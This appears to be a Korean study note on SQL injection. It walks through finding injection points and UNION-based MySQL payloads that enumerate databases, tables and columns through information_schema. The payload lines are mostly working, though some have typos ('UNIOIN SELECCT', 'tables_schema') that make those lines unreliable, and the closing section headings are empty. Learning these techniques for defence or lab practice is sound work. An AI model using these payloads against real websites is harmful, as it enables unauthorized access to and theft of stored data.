웹 서비스 기능 사용 시, 특정 쿼리 삽입으로 서버 내 데이터 조회 및 출력 가능
버전 및 데이터베이스 조회
버전 및 데이터베이스 길이 값 추출
모든 테이블 정보 조회
모든 데이터베이스 조회
⁝
#1 싱글쿼터(" ' ") 삽입 시, 발생하는 SQL Error로 Attack Vector 판단
⇢ 싱글쿼터를 사용하지 않는 경우, 완성된 문장 삽입을 통한 판단
⇢ Error가 발생하지 않는 경우, Sleep( ) 함수 등을 이용한 판단
#2 연산자 및 정보함수를 이용해, SQL Injection 발생 확인
#3 발생 결과에 맞게 , SQLI 공격 수행(Union, Blind ,Time …)

Non-Blind SQL Injection : 결과값이 출력됨
Blind SQL Injection : 결과값이 출력이 안됨
UNION 키워드를 사용하여 원래의 요청에서 추가 정보를 얻는 공격 기법
※ UNION은 여러 개의 SELECT 구문의 결과를 결합하는 연산자

▪ 다른 테이블 접근 및 원하는 쿼리 생성으로 데이터 조작 가능하며, 데이터베이스 쿼리의 실행결과를 사용자에게 출력해줄 때 사용
#1. Attack Vector 탐색
‣ 특정 페이지에서 SQL 구문 입력이 되는지 확인 ' or 1=1 #
‣ 어떤 SQL 쿼리를 가지고 있을 것이다 추측 => SQLI 포인트 찾기
#2. SQL 공격수행
‣ column 개수 확인
‣ DB명 확인
‣ DB에서 사용되는 Table명 확인
‣ 테이블에서 사용되는 column명 확인
#3. 정보 탈취
‣ 데이터 추출

▪ 입력한 쿼리 내에, 다른 쿼리를 입력해 사용하는 것
▪ 서브쿼리를 이용해 다른 테이블 접근 및 정보 조회 가능
▪ SELECT문을 사용하지 않는 곳에서도, 서브쿼리를 이용해 조회
SELECT * FROM security_user where name IN (select ‘admin’ union select ‘guest’);[참고] https://blog.naver.com/sk_shieldus/222734386644
[참고] https://portswigger.net/web-security/sql-injection/union-attacks

' UNION SELECT 1,2,database(),version() #
DB종류별 주석
MySQL MariaDB Oracle MSSQL 한줄 주석 ##,------여러줄 주석 /* 내용 *//* 내용 *//* 내용 *//* 내용 */
' UNION SELECT 1,2,database(),length(version()) #

' UNION SELECT 1,2,substr(database(),3,1),4 #
' UNION SELECT 1,2,right(left(database(),3),1)4 #

' UNION SELECT 1,2,3,(SELECT schema_name FROM information_schema.schemata LIMIT 4,1); #
' UNION SELECT 1,2,3,(SELECT schema_name FROM information_schema.schemata LIMIT 1); #

LIMIT 구문
SELECT * FROM [TABLE명] LIMIT 개수;
SELECT * FROM student LIMIT 3;
테이블의 데이터 중 상위 데이터를 3개의 행만 반환
SELECT * FROM [TABLE명] LIMIT offset, 개수;
SELECT name FROM student LIMIT 1,10;
두 번째[1] 데이터부터 11번째 데이터[10]까지 (인덱스 [0]부터 시작)
=> 10개의 데이터를 가져온다.
???
' UNION SELECT 1,(SELECT table_schema FROM information_schema.tables LIMIT 1),3,4 #

' UNION SELECT 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata LIMIT 1),3,4 #
' UNION SELECT 1,2,(SELECT table_name FROM information_schema.tables WHERE tables_schema='security' LIMIT 1),4 #

' UNIOIN SELECCT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),4 #

' UNION SELECT 1,2,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns),4 #
information_schema.columns[모든 테이블의 컬럼 정보]에서 column_name를 선택

' UNION SELECT 1,2,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=database()),4 #

' UNION SELECT 1,2,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='security_user'),4 #

## Boolean Based SQLI
## Time Based SQLI
## Error Based –SQLI